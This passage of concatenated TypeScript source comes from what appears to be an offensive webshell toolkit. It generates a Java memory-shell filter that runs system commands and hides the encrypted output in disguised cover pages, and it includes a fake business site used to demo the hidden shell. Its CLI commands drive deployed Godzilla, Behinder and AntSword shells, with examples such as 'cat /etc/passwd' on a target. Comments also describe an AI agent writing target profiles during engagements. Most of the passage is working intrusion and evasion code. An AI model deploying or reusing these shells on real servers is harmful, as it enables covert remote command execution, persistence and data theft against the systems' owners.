ProcessBuilder pb = win\n ? new ProcessBuilder(\"cmd.exe\", \"/c\", command)\n : new ProcessBuilder(\"/bin/sh\", \"-c\", command);\n pb.redirectErrorStream(true);\n Process proc = pb.start();\n proc.waitFor();\n String payload = encryptField(readAll(proc.getInputStream()), aesKey);\n String page;\n if (tpl.contains(\"{{payload}}\")) {\n // placeholder template (any text format): substitute exactly there\n page = tpl.replace(\"{{payload}}\", payload);\n } else {\n String fragment = wrapPayload(payload, PASS + SECRET);\n int idx = tpl.toLowerCase().lastIndexOf(\"</body>\");\n page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;\n }\n response.setContentType(tplCt);\n response.setCharacterEncoding(\"UTF-8\");\n if (tplCt.contains(\"event-stream\")) {\n // flush chunk by chunk — a real SSE endpoint streams, a\n // one-shot body is the wrong shape on the wire\n java.io.PrintWriter w = response.getWriter();\n for (String chunk : page.split(\"\\\\n\\\\n\", -1)) {\n if (chunk.isEmpty()) continue;\n w.write(chunk);\n w.write(\"\\\\n\\\\n\");\n w.flush();\n response.flushBuffer();\n try { Thread.sleep(30); } catch (InterruptedException ie) { break; }\n }\n } else {\n response.getWriter().write(page);\n }\n } catch (Exception e) {\n // behave like the cover body on any error — stay quiet\n response.setContentType(tplCt);\n response.getWriter().write(tpl);\n }\n }\n}\n`;\n}\n\n// ---------------------------------------------------------------------------\n// CryptoProbe — a tiny CLI harness around the same snippets, used by the\n// cross-language tests: `java CryptoProbe enc|dec <secret> <value>`.\n// ---------------------------------------------------------------------------\n\nexport function renderCryptoProbe(cipher: MimicCipher): string {\n return `import java.io.*;\nimport java.security.MessageDigest;\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.IvParameterSpec;\nimport javax.crypto.spec.SecretKeySpec;\n\n/** Cross-language test harness — shares every snippet with the mimic filter. */\npublic class CryptoProbe {\n${sharedMethods(cipher)}\n static String bytesToHex(byte[] data) {\n StringBuilder sb = new StringBuilder();\n for (byte b : data) sb.append(String.format(\"%02x\", b & 0xff));\n return sb.toString();\n }\n static byte[] hexToBytes(String s) {\n ByteArrayOutputStream bos = new ByteArrayOutputStream();\n for (int i = 0; i + 1 < s.length(); i += 2) bos.write(Integer.parseInt(s.substring(i, i + 2), 16));\n return bos.toByteArray();\n }\n\n public static void main(String[] args) throws Exception {\n String aesKey = md5Hex(args[1]).substring(0, 16);\n if (\"enc\".equals(args[0])) {\n // hex plaintext on argv -> wire value on stdout\n System.out.println(encryptField(hexToBytes(args[2]), aesKey));\n } else {\n // wire value on argv -> hex plaintext on stdout\n System.out.println(bytesToHex(decryptField(args[2], aesKey)));\n }\n }\n}\n`;\n}\n","/**\n * Thin wrapper around the local JDK's `javac` — `memparty custom build`\n * compiles the generated filter on the operator's machine, so a JDK (11+)\n * must be on PATH. The servlet API jar ships inside the package\n * (resources/) so compilation has no other dependency.\n */\nimport { execFileSync } from \"node:child_process\";\nimport { existsSync } from \"node:fs\";\nimport { fileURLToPath } from \"node:url\";\n\n/** Locate the bundled javax.servlet-api jar (handles both src/ and dist/ layouts). */\nexport function servletApiJar(): string {\n const candidates = [\n new URL(\"../resources/javax.servlet-api-3.1.0.jar\", import.meta.url), // dist/*.js\n new URL(\"../../resources/javax.servlet-api-3.1.0.jar\", import.meta.url), // src/custom/*.ts\n ];\n for (const candidate of candidates) {\n const p = fileURLToPath(candidate);\n if (existsSync(p)) return p;\n }\n throw new Error(\n \"bundled servlet-api jar not found (expected resources/javax.servlet-api-3.1.0.jar in the package)\",\n );\n}\n\n/** Resolve javac or throw with an install hint. */\nexport function findJavac(): string {\n try {\n execFileSync(\"javac\", [\"-version\"], { stdio: \"pipe\" });\n return \"javac\";\n } catch {\n throw new Error(\n \"javac not found on PATH — 'memparty custom build' compiles Java locally, \" +\n \"install any JDK 11+ and retry\",\n );\n }\n}\n\n/** True when a working javac is available (used to skip integration tests). */\nexport function hasJavac(): boolean {\n try {\n findJavac();\n return true;\n } catch {\n return false;\n }\n}\n\nexport interface CompileOptions {\n /** Classpath entries (e.g. the servlet API jar for the filter). */\n classpath?: string[];\n}\n\n/**\n * Compile one or more .java files to Java 8 bytecode into `outDir`.\n * UTF-8 source encoding is forced (cover pages may carry CJK text).\n */\nexport function compileJava(sources: string[], outDir: string, opts: CompileOptions = {}): void {\n const javac = findJavac();\n const args = [\"-encoding\", \"UTF-8\", \"--release\", \"8\"];\n if (opts.classpath && opts.classpath.length > 0) {\n args.push(\"-cp\", opts.classpath.join(process.platform === \"win32\" ? \";\" : \":\"));\n }\n args.push(\"-d\", outDir, ...sources);\n execFileSync(javac, args, { stdio: \"pipe\" });\n}\n","/**\n * A fake business site with a mimic shell hidden inside it — the local\n * validation target for the mimic protocol (`memparty demo`, tests).\n *\n * Every GET returns a plausible portal page; a POST carrying the shell's\n * pass parameter is treated as a shell request no matter which path it\n * lands on — that is exactly how a filter-type memory shell behaves, and\n * what makes the mimic protocol's dynamic paths possible.\n */\nimport { exec } from \"node:child_process\";\nimport http from \"node:http\";\nimport type { AddressInfo } from \"node:net\";\n\nimport {\n decodeAnyBody,\n decodeRequestBody,\n deriveAesKey,\n encryptField,\n decryptField,\n injectFragment,\n} from \"./mimic-shared.js\";\nimport { deriveMarkers, resolveCipher } from \"./mimic-codecs.js\";\nimport { PAYLOAD_PLACEHOLDER, type ProfileCipher, type ProfileTemplate } from \"../core/site-profile.js\";\n\n/** Decrypt one carrier value (query/header mode), null on failure. */\nfunction tryDecrypt(b64: string, aesKey: string, cipher = resolveCipher()): Buffer | null {\n try {\n return decryptField(b64, aesKey, cipher);\n } catch {\n return null;\n }\n}\n\nconst SITE_TITLE = \"云枢科技 - 企业数字化服务商\";\n\nconst NAV = `<nav><a href=\"/\">首页</a> <a href=\"/products/\">产品中心</a> <a href=\"/news/\">新闻动态</a> <a href=\"/about/\">关于我们</a></nav>`;\n\nconst PAGES: Record<string, string> = {\n \"/\": `<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>\n<meta charset=\"UTF-8\">\n<title>${SITE_TITLE}</title>\n</head>\n<body>\n<header><h1>云枢科技</h1>${NAV}</header>\n<main>\n<h2>让企业数据流动起来</h2>\n<p>云枢科技为中型企业提供数据集成、报表可视化与流程自动化服务。</p>\n<ul>\n<li><a href=\"/products/yunetl.html\">云枢 ETL 平台</a></li>\n<li><a href=\"/products/yunbi.html\">云枢 BI 报表</a></li>\n<li><a href=\"/news/2024/release-notes.html\">2024 产品发布说明</a></li>\n</ul>\n</main>\n<footer>© 2024 云枢科技 京ICP备2024000000号</footer>\n</body>\n</html>`,\n \"/products/\": `<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>\n<meta charset=\"UTF-8\">\n<title>产品中心 - 云枢科技</title>\n</head>\n<body>\n<header><h1>云枢科技</h1>${NAV}</header>\n<main><h2>产品中心</h2><p>ETL / BI / 流程自动化三大产品线。</p></main>\n<footer>© 2024 云枢科技</footer>\n</body>\n</html>`,\n \"/news/\": `<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>\n<meta charset=\"UTF-8\">\n<title>新闻动态 - 云枢科技</title>\n</head>\n<body>\n<header><h1>云枢科技</h1>${NAV}</header>\n<main><h2>新闻动态</h2><p>云枢 ETL 3.2 发布,新增实时同步通道。</p></main>\n<footer>© 2024 云枢科技</footer>\n</body>\n</html>`,\n};\n\nconst NOT_FOUND = `<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>\n<meta charset=\"UTF-8\">\n<title>页面不存在 - 云枢科技</title>\n</head>\n<body>\n<header><h1>云枢科技</h1>${NAV}</header>\n<main><h2>404</h2><p>您访问的页面不存在。</p></main>\n<footer>© 2024 云枢科技</footer>\n</body>\n</html>`;\n\n/** The mock site's homepage — exported so `memparty demo` can use it as the skin. */\nexport const MOCK_HOMEPAGE = PAGES[\"/\"]!;\n\nexport interface MimicServerOptions {\n pass?: string;\n secretKey?: string;\n /** Wire codec selection — must match the profile the client uses. */\n cipher?: ProfileCipher;\n /**\n * Cover templates the shell rotates (default: the mock homepage). A\n * template carrying {{payload}} gets the ciphertext substituted and is\n * served with its own contentType — JSON/XML/JS skins work the same way.\n */\n templates?: ProfileTemplate[];\n /** Carrier field names to probe (default: [pass]) — mirrors the filter's FIELDS. */\n fields?: string[];\n /** Command execution timeout on the \"target\" (default 5s). */\n execTimeoutMs?: number;\n}\n\nexport interface MimicServer {\n url: string;\n port: number;\n close(): Promise<void>;\n}\n\nfunction runCommand(command: string, timeoutMs: number): Promise<string> {\n return new Promise((resolve) => {\n exec(command, { timeout: timeoutMs, windowsHide: true }, (err, stdout, stderr) => {\n if (err && !stdout && !stderr) {\n resolve(`command failed: ${err.message}`);\n return;\n }\n resolve(stdout + stderr);\n });\n });\n}\n\n/**\n * Start the fake site on 127.0.0.1 with a random port.\n * Shell responses reuse the homepage HTML as their skin — on a real target\n * that skin comes from the site profile learned by `memparty profile`.\n */\nexport async function startMimicServer(options: MimicServerOptions = {}): Promise<MimicServer> {\n const pass = options.pass ?? \"pass\";\n const secretKey = options.secretKey ?? \"key\";\n const cipher = resolveCipher(options.cipher);\n const aesKey = deriveAesKey(secretKey);\n const markers = deriveMarkers(pass, secretKey, cipher);\n const execTimeoutMs = options.execTimeoutMs ?? 5_000;\n const skins: ProfileTemplate[] = options.templates ?? [\n { title: \"mock\", template: PAGES[\"/\"]!, contentType: \"text/html; charset=utf-8\" },\n ];\n const fields = options.fields ?? [pass];\n\n const server = http.createServer((req, res) => {\n if (req.method === \"POST\") {\n const chunks: Buffer[] = [];\n req.on(\"data\", (c: Buffer) => chunks.push(c));\n req.on(\"end\", () => {\n const rawBody = Buffer.concat(chunks);\n // carriers: form body | raw body (json/multipart/xml) | query | header\n let command: Buffer | null = null;\n for (const f of fields) {\n command = decodeRequestBody(rawBody, f, aesKey, cipher);\n if (command === null) command = decodeAnyBody(rawBody, f, aesKey, cipher);\n if (command === null) {\n const query = new URL(req.url ?? \"/\", \"http://x\").searchParams.get(f);\n if (query) command = tryDecrypt(query, aesKey, cipher);\n }\n if (command === null) {\n const header = req.headers[f.toLowerCase()];\n if (typeof header === \"string\") command = tryDecrypt(header, aesKey, cipher);\n }\n if (command !== null) break;\n }\n if (command === null) {\n res.writeHead(404, { \"Content-Type\": \"text/html; charset=utf-8\" });\n res.end(NOT_FOUND);\n return;\n }\n void runCommand(command.toString(\"utf8\"), execTimeoutMs).then((output) => {\n const b64 = encryptField(Buffer.from(output, \"utf8\"), aesKey, cipher);\n const skin = skins[Math.floor(Math.random() * skins.length)]!;\n const body = skin.template.includes(PAYLOAD_PLACEHOLDER)\n ? skin.template.replaceAll(PAYLOAD_PLACEHOLDER, b64)\n : injectFragment(skin.template, markers.wrap(b64));\n res.writeHead(200, { \"Content-Type\": skin.contentType });\n if (skin.contentType.includes(\"event-stream\")) {\n // flush chunk by chunk with a small cadence — looks like a live\n // stream on the wire, not a one-shot body\n const sseChunks = body.split(\"\\n\\n\").filter((c) => c.length > 0);\n let i = 0;\n const next = (): void => {\n if (i < sseChunks.length) {\n res.write(`${sseChunks[i++]!}\\n\\n`);\n setTimeout(next, 25);\n } else {\n res.end();\n }\n };\n next();\n } else {\n res.end(body);\n }\n });\n });\n return;\n }\n const page = PAGES[req.url ?? \"/\"] ?? NOT_FOUND;\n res.writeHead(PAGES[req.url ?? \"/\"] ? 200 : 404, {\n \"Content-Type\": \"text/html; charset=utf-8\",\n });\n res.end(page);\n });\n\n await new Promise<void>((resolve) => server.listen(0, \"127.0.0.1\", resolve));\n const { port } = server.address() as AddressInfo;\n return {\n url: `http://127.0.0.1:${port}/`,\n port,\n close: () => new Promise<void>((resolve) => server.close(() => resolve())),\n };\n}\n","import { Command } from \"commander\";\n\nimport { reportError, type GlobalOptions } from \"../cli-context.js\";\nimport { MOCK_HOMEPAGE, startMimicServer } from \"../connect/mimic-server.js\";\nimport { getProtocol } from \"../connect/registry.js\";\nimport { saveProfile, type SiteProfile } from \"../core/site-profile.js\";\nimport type { ResolvedConnection } from \"../core/targets.js\";\n\ninterface DemoCmdOptions extends GlobalOptions {\n cmd?: string;\n json?: boolean;\n}\n\n/**\n * The profile for the demo's fake site, written by hand — in a real\n * engagement this is the file the operator (or AI agent) authors after\n * reading the target's pages.\n */\nfunction demoProfile(site: string): SiteProfile {\n return {\n name: \"demo\",\n site,\n createdAt: new Date().toISOString(),\n templates: [\n {\n title: \"云枢科技 - 企业数字化服务商\",\n template: MOCK_HOMEPAGE,\n contentType: \"text/html; charset=utf-8\",\n },\n ],\n paths: [\"/products/\", \"/news/\", \"/about/\"],\n };\n}\n\n/**\n * `memparty demo` — run the whole mimic loop locally against a fake\n * business site: hand-written profile, handshake, then one command.\n * Nothing leaves 127.0.0.1.\n */\nexport function registerDemoCommand(program: Command): void {\n program\n .command(\"demo\")\n .description(\n \"Run the mimic protocol end-to-end locally: fake business site + profile \" +\n \"+ connect + one exec (no external traffic)\",\n )\n .option(\"--cmd <command>\", \"command to execute on the fake target\", \"whoami\")\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nThis is the reference walk-through for the mimic plugin:\n 1. starts a fake business site on 127.0.0.1 (a mimic shell hides in it)\n 2. loads a hand-written site profile (in real engagements the operator\n or AI agent writes it — see 'memparty profile init')\n 3. 'connect' does a credential round-trip using a dynamic path\n 4. 'exec' runs --cmd through the same channel\nWatch the printed request URL in step 3/4: it changes every run.\n`,\n )\n .action(async (opts: DemoCmdOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };\n const timeoutMs = Number.parseInt(globals.timeout ?? \"30000\", 10);\n const log = (line: string) => {\n if (!opts.json) process.stdout.write(`${line}\\n`);\n };\n\n const server = await startMimicServer();\n try {\n log(`[1/4] fake business site up at ${server.url}`);\n\n const profile = demoProfile(server.url.replace(/\\/+$/, \"\"));\n saveProfile(profile);\n log(\n `[2/4] profile 'demo' loaded: title=${JSON.stringify(profile.templates![0]!.title)}, ` +\n `paths=[${profile.paths.join(\", \")}], templates=${profile.templates!.length}`,\n );\n\n const protocol = getProtocol(\"mimic\")!;\n const conn: ResolvedConnection = {\n url: server.url,\n tool: \"mimic\",\n pass: \"pass\",\n key: \"key\",\n extraHeaders: {},\n profile: \"demo\",\n };\n const common = { timeoutMs };\n const options = { profile: \"demo\", dynamicPath: true };\n\n const test = await protocol.test({ conn, common, options });\n if (!test.ok) throw new Error(`connect failed: ${test.error}`);\n log(`[3/4] connect ok — ${test.detail}`);\n\n const result = await protocol.exec!({ conn, common, options }, opts.cmd!);\n if (!result.ok) throw new Error(`exec failed: ${result.error}`);\n log(`[4/4] exec ok — ${JSON.stringify(opts.cmd)} output:`);\n\n if (opts.json) {\n process.stdout.write(\n `${JSON.stringify({ ok: true, profile, test, exec: result }, null, 2)}\\n`,\n );\n } else {\n process.stdout.write(`${result.output ?? \"\"}`);\n if (result.output && !result.output.endsWith(\"\\n\")) process.stdout.write(\"\\n\");\n }\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n } finally {\n await server.close();\n }\n });\n}\n","import { Command, Option } from \"commander\";\r\n\r\nimport { logInfo, reportError, type GlobalOptions } from \"../cli-context.js\";\r\nimport {\r\n protocolNames,\r\n requireProtocol,\r\n unsupportedMessage,\r\n type ProtocolOptions,\r\n} from \"../connect/registry.js\";\r\nimport type { CommonConnectOptions, ExecResult } from \"../connect/types.js\";\r\nimport { logOp, truncateOutput } from \"../core/oplog.js\";\r\nimport { autoSaveShell, resolveConnection } from \"../core/targets.js\";\r\n\r\ninterface ExecCmdOptions extends GlobalOptions {\r\n url?: string;\r\n tool?: string;\r\n pass?: string;\r\n key?: string;\r\n cmd?: string;\r\n os?: \"auto\" | \"windows\" | \"linux\";\r\n headerName?: string;\r\n headerValue?: string;\r\n header?: string[];\r\n profile?: string;\r\n dynamicPath?: boolean;\r\n insecure?: boolean;\r\n json?: boolean;\r\n save?: boolean;\r\n}\r\n\r\nfunction parseExtraHeaders(lines: string[] | undefined): Record<string, string> {\r\n const headers: Record<string, string> = {};\r\n for (const line of lines ?? []) {\r\n const idx = line.indexOf(\":\");\r\n if (idx <= 0) {\r\n throw new Error(`invalid header ${JSON.stringify(line)}, expected \"Name: value\"`);\r\n }\r\n headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();\r\n }\r\n return headers;\r\n}\r\n\r\nexport function registerExecCommand(program: Command): void {\r\n program\r\n .command(\"exec\")\r\n .description(\r\n \"Execute a command on a deployed webshell and print its output\",\r\n )\r\n .argument(\"[name]\", \"saved target name (see 'memparty list')\")\r\n .option(\"-u, --url <url>\", \"URL of the deployed shell (or give a saved target name)\")\r\n .addOption(\r\n new Option(\"-t, --tool <tool>\", \"shell protocol\").choices(protocolNames(\"exec\")),\r\n )\r\n .requiredOption(\"--cmd <command>\", \"command line to execute on the target\")\r\n .option(\"--pass <pass>\", \"password (godzilla default: pass; behinder default: rebeyond)\")\r\n .option(\"--key <key>\", \"godzilla/mimic key (default: key)\")\r\n .addOption(\r\n new Option(\"--os <family>\", \"godzilla: remote OS for the shell wrapper\")\r\n .choices([\"auto\", \"windows\", \"linux\"])\r\n .default(\"auto\"),\r\n )\r\n .option(\r\n \"--header-name <name>\",\r\n \"gate header name reported by gen (shellToolConfig.headerName)\",\r\n )\r\n .option(\r\n \"--header-value <value>\",\r\n \"gate header value reported by gen (shellToolConfig.headerValue)\",\r\n )\r\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\r\n .option(\"--profile <name>\", \"mimic: site profile name (see 'memparty profile')\")\r\n .option(\"--dynamic-path\", \"mimic: randomize the request path from the site profile\")\r\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\r\n .option(\"--json\", \"output raw JSON\")\r\n .option(\"--no-save\", \"do not auto-save the target after a successful exec\")\r\n .addHelpText(\r\n \"after\",\r\n `\r\nExamples:\r\n $ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key \\\\\r\n --header-value my-secret-token --cmd \"whoami\"\r\n $ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\\\\r\n --header-value my-secret-token --cmd \"cat /etc/passwd\"\r\n $ memparty exec web222 --cmd \"whoami\" # saved target, see 'memparty list'\r\n $ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\\\\r\n --cmd \"ipconfig /all\" --json\r\n\r\nNote: godzilla auto-detects the remote OS (one extra request) to pick\r\ncmd.exe vs /bin/sh — pass --os to skip the detection. Behinder detects\r\nthe OS inside its payload, so --os does not apply.\r\n`,\r\n )\r\n .action(async (name: string | undefined, opts: ExecCmdOptions, cmd: Command) => {\r\n const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };\r\n const timeoutMs = Number.parseInt(globals.timeout ?? \"30000\", 10);\r\n\r\n let conn;\r\n try {\r\n conn = resolveConnection(name, {\r\n url: opts.url,\r\n tool: opts.tool,\r\n pass: opts.pass,\r\n key: opts.key,\r\n headerName: opts.headerName,\r\n headerValue: opts.headerValue,\r\n extraHeaders: parseExtraHeaders(opts.header),\r\n insecure: opts.insecure,\r\n profile: opts.profile,\r\n });\r\n } catch (err) {\r\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\r\n process.exitCode = 1;\r\n return;\r\n }\r\n\r\n const common: CommonConnectOptions = {\r\n headerName: conn.headerName,\r\n headerValue: conn.headerValue,\r\n extraHeaders: conn.extraHeaders,\r\n timeoutMs,\r\n insecure: conn.insecure,\r\n };\r\n\r\n let result: ExecResult;\r\n try {\r\n const protocol = requireProtocol(conn.tool);\r\n if (!protocol.exec) {\r\n reportError(unsupportedMessage(protocol, \"exec\"), opts.json ? [\"--json\"] : []);\r\n process.exitCode = 1;\r\n return;\r\n }\r\n const options: ProtocolOptions = {\r\n os: opts.os,\r\n profile: conn.profile,\r\n dynamicPath: opts.dynamicPath,\r\n };\r\n result = await protocol.exec({ conn, common, options }, opts.cmd!);\r\n } catch (err) {\r\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\r\n process.exitCode = 1;\r\n return;\r\n }\r\n\r\n // a successful exec proves the credentials — keep them as a named target\r\n let savedAs: string | undefined;\r\n if (result.ok && conn.targetName === undefined && opts.save !== false) {\r\n savedAs = autoSaveShell(conn);\r\n conn.targetName = savedAs;\r\n }\r\n\r\n const truncated = result.output !== undefined ? truncateOutput(result.output) : null;\r\n logOp({\r\n category: \"exec\",\r\n action: \"exec\",\r\n targetName: conn.targetName,\r\n url: conn.url,\r\n tool: conn.tool,\r\n ok: result.ok,\r\n durationMs: result.durationMs,\r\n command: opts.cmd,\r\n output: truncated?.output,\r\n outputTruncated: truncated?.truncated || undefined,\r\n error: result.error,\r\n });\r\n\r\n if (opts.json) {\r\n process.stdout.write(`${JSON.stringify({ ...result, savedAs }, null, 2)}\\n`);\r\n } else if (result.ok) {\r\n process.stdout.write(result.output ?? \"\");\r\n if (result.output && !result.output.endsWith(\"\\n\")) process.stdout.write(\"\\n\");\r\n if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);\r\n } else {\r\n process.stderr.write(`FAIL ${result.tool} ${result.url}\\n ${result.error ?? \"\"}\\n`);\r\n }\r\n if (!result.ok) {\r\n process.exitCode = 1;\r\n }\r\n });\r\n}\r\n","import { readFileSync } from \"node:fs\";\n\nimport { Command, Option } from \"commander\";\n\nimport { createClient, type GlobalOptions, logInfo } from \"../cli-context.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { emitSinglePackResult, hasMultiplePackResults } from \"../core/output.js\";\nimport { buildMemShellRequest, type MemShellOptions } from \"../core/request-builder.js\";\nimport { runMemShellWizard } from \"../wizard/memshell-wizard.js\";\n\ninterface GenCmdOptions extends GlobalOptions {\n server?: string;\n serverVersion?: string;\n tool?: string;\n type?: string;\n packer?: string;\n jdk?: string;\n debug?: boolean;\n bypassModule?: boolean;\n shrink?: boolean;\n lambdaSuffix?: boolean;\n probe?: boolean;\n shellClassName?: string;\n godzillaPass?: string;\n godzillaKey?: string;\n behinderPass?: string;\n antswordPass?: string;\n commandParamName?: string;\n commandTemplate?: string;\n encryptor?: string;\n implementationClass?: string;\n headerName?: string;\n headerValue?: string;\n shellClassBase64?: string;\n shellClassFile?: string;\n urlPattern?: string;\n injectorClassName?: string;\n staticInitialize?: boolean;\n output?: string;\n decode?: boolean;\n json?: boolean;\n interactive?: boolean;\n}\n\nconst REQUIRED = [\"server\", \"tool\", \"type\", \"packer\"] as const;\n\nfunction toOptions(o: GenCmdOptions): MemShellOptions {\n let shellClassBase64 = o.shellClassBase64;\n if (o.shellClassFile) {\n shellClassBase64 = readFileSync(o.shellClassFile).toString(\"base64\");\n }\n return {\n server: o.server!,\n serverVersion: o.serverVersion,\n shellTool: o.tool!,\n shellType: o.type!,\n packer: o.packer!,\n jdk: o.jdk,\n debug: o.debug,\n byPassJavaModule: o.bypassModule,\n shrink: o.shrink,\n lambdaSuffix: o.lambdaSuffix,\n probe: o.probe,\n shellClassName: o.shellClassName,\n godzillaPass: o.godzillaPass,\n godzillaKey: o.godzillaKey,\n behinderPass: o.behinderPass,\n antSwordPass: o.antswordPass,\n commandParamName: o.commandParamName,\n commandTemplate: o.commandTemplate,\n encryptor: o.encryptor,\n implementationClass: o.implementationClass,\n headerName: o.headerName,\n headerValue: o.headerValue,\n shellClassBase64,\n urlPattern: o.urlPattern,\n injectorClassName: o.injectorClassName,\n staticInitialize: o.staticInitialize,\n };\n}\n\nexport function registerGenCommand(program: Command): void {\n program\n .command(\"gen\")\n .alias(\"generate\")\n .description(\"Generate a memory shell. Runs an interactive wizard when required flags are missing.\")\n .option(\"-s, --server <server>\", \"target server, e.g. Tomcat\")\n .option(\"--server-version <v>\", \"target server version\")\n .option(\"-t, --tool <tool>\", \"shell tool, e.g. Godzilla, Behinder, Command\")\n .option(\"-y, --type <type>\", \"shell type, e.g. Listener, Filter, Servlet\")\n .option(\"-p, --packer <packer>\", \"packer, e.g. Base64, Jar, JSP\")\n .option(\"--jdk <version>\", \"target JDK: java6/8/9/11/17/21, or a class-file major version\")\n .option(\"--debug\", \"enable debug output in the payload\")\n .option(\"--bypass-module\", \"bypass Java module restrictions\")\n .option(\"--no-shrink\", \"disable bytecode shrinking (enabled by default)\")\n .option(\"--lambda-suffix\", \"append a lambda class-name suffix\")\n .option(\"--probe\", \"use echo/probe mode\")\n .option(\"--shell-class-name <name>\", \"explicit shell class name (random if omitted)\")\n .option(\"--godzilla-pass <pass>\", \"Godzilla password\")\n .option(\"--godzilla-key <key>\", \"Godzilla key\")\n .option(\"--behinder-pass <pass>\", \"Behinder password\")\n .option(\"--antsword-pass <pass>\", \"AntSword password\")\n .option(\"--command-param-name <name>\", \"Command tool parameter name\")\n .option(\"--command-template <tpl>\", \"Command template ({command} placeholder)\")\n .option(\"--encryptor <name>\", \"Command encryptor\")\n .option(\"--implementation-class <name>\", \"Command implementation class\")\n .option(\"--header-name <name>\", \"auth header name\")\n .option(\"--header-value <value>\", \"auth header value\")\n .option(\"--shell-class-base64 <b64>\", \"custom shell class (base64) for the Custom tool\")\n .option(\"--shell-class-file <path>\", \"custom shell .class file for the Custom tool\")\n .option(\"--url-pattern <pattern>\", \"injector URL pattern\")\n .option(\"--injector-class-name <name>\", \"explicit injector class name\")\n .option(\"--no-static-initialize\", \"disable injector static initialization (enabled by default)\")\n .option(\"-o, --output <file>\", \"write payload to a file instead of stdout\")\n .addOption(new Option(\"--decode\", \"base64-decode the payload before writing\"))\n .addOption(new Option(\"--no-decode\", \"do not base64-decode the payload\"))\n .option(\"--json\", \"print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)\")\n .option(\"-i, --interactive\", \"force the interactive wizard\")\n .option(\"--no-interactive\", \"never launch the wizard; error on missing flags\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty gen # interactive wizard\n $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\\\\n --godzilla-pass pass --godzilla-key key --jdk java8\n $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \\\\\n --godzilla-pass pass --godzilla-key key -o shell.class\n $ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\\\\n --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec\n $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json\n\nNote: run 'memparty config' to list the available servers, tools, shell\ntypes and packers. Some packers (e.g. Base64) are aggregate packers that\nreturn several variants at once — pick a leaf packer (e.g. DefaultBase64)\nfor a single payload (-o refuses aggregate results). The --json output\nincludes the gate header (shellToolConfig) you need for\n'memparty connect' / 'memparty exec'.\n`,\n )\n .action(async (opts: GenCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n\n const missing = REQUIRED.filter((k) => !opts[k]);\n const stdinIsTty = Boolean(process.stdin.isTTY);\n const wantWizard =\n opts.interactive === true ||\n (opts.interactive !== false && missing.length > 0 && stdinIsTty);\n\n let memOpts: MemShellOptions;\n if (wantWizard) {\n memOpts = await runMemShellWizard(client);\n } else {\n if (missing.length > 0) {\n throw new Error(\n `Missing required option(s): ${missing.map((m) => `--${m}`).join(\", \")}. ` +\n `Run in a terminal for the wizard, or pass -i.`,\n );\n }\n memOpts = toOptions(opts);\n }\n\n const request = buildMemShellRequest(memOpts);\n // safe summary for the op log — parameters only, never credentials\n const genMeta = {\n server: memOpts.server,\n serverVersion: memOpts.serverVersion,\n shellTool: memOpts.shellTool,\n shellType: memOpts.shellType,\n packer: memOpts.packer,\n jdk: memOpts.jdk,\n };\n const started = Date.now();\n let response;\n try {\n response = await client.generateMemShell(request);\n } catch (err) {\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: false,\n durationMs: Date.now() - started,\n error: err instanceof Error ? err.message : String(err),\n meta: genMeta,\n });\n throw err;\n }\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,\n meta: genMeta,\n });\n\n if (opts.json) {\n // -o still writes the payload file in JSON mode; the JSON document\n // then carries an extra `outputFile` field with the write result.\n const outputFile =\n opts.output !== undefined\n ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode })\n : undefined;\n const doc = outputFile === undefined ? response : { ...response, outputFile };\n process.stdout.write(`${JSON.stringify(doc, null, 2)}\\n`);\n return;\n }\n\n const r = response.memShellResult;\n logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);\n logInfo(`injector class: ${r.injectorClassName} (${r.injectorSize} bytes)`);\n\n if (hasMultiplePackResults(response)) {\n if (opts.output !== undefined) {\n throw new Error(\n `-o cannot write ${Object.keys(response.allPackResults!).length} packer variants to one file. ` +\n `Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`,\n );\n }\n for (const [name, value] of Object.entries(response.allPackResults!)) {\n logInfo(`\\n=== ${name} ===`);\n process.stdout.write(`${value}\\n`);\n }\n return;\n }\n\n const result = emitSinglePackResult(response, {\n outFile: opts.output,\n decode: opts.decode,\n });\n if (result.destination !== \"stdout\") {\n logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? \" (base64-decoded)\" : \"\"}`);\n }\n });\n}\n","import { writeFileSync } from \"node:fs\";\n\n/** File extensions whose payload is base64-encoded bytes and should be decoded. */\nconst BINARY_EXTENSIONS = [\".class\", \".jar\", \".zip\", \".ser\", \".bin\"];\n\nexport interface OutputOptions {\n /** Destination file path. When omitted, content goes to stdout. */\n outFile?: string;\n /** Force base64 decoding before writing (binary payload). */\n decode?: 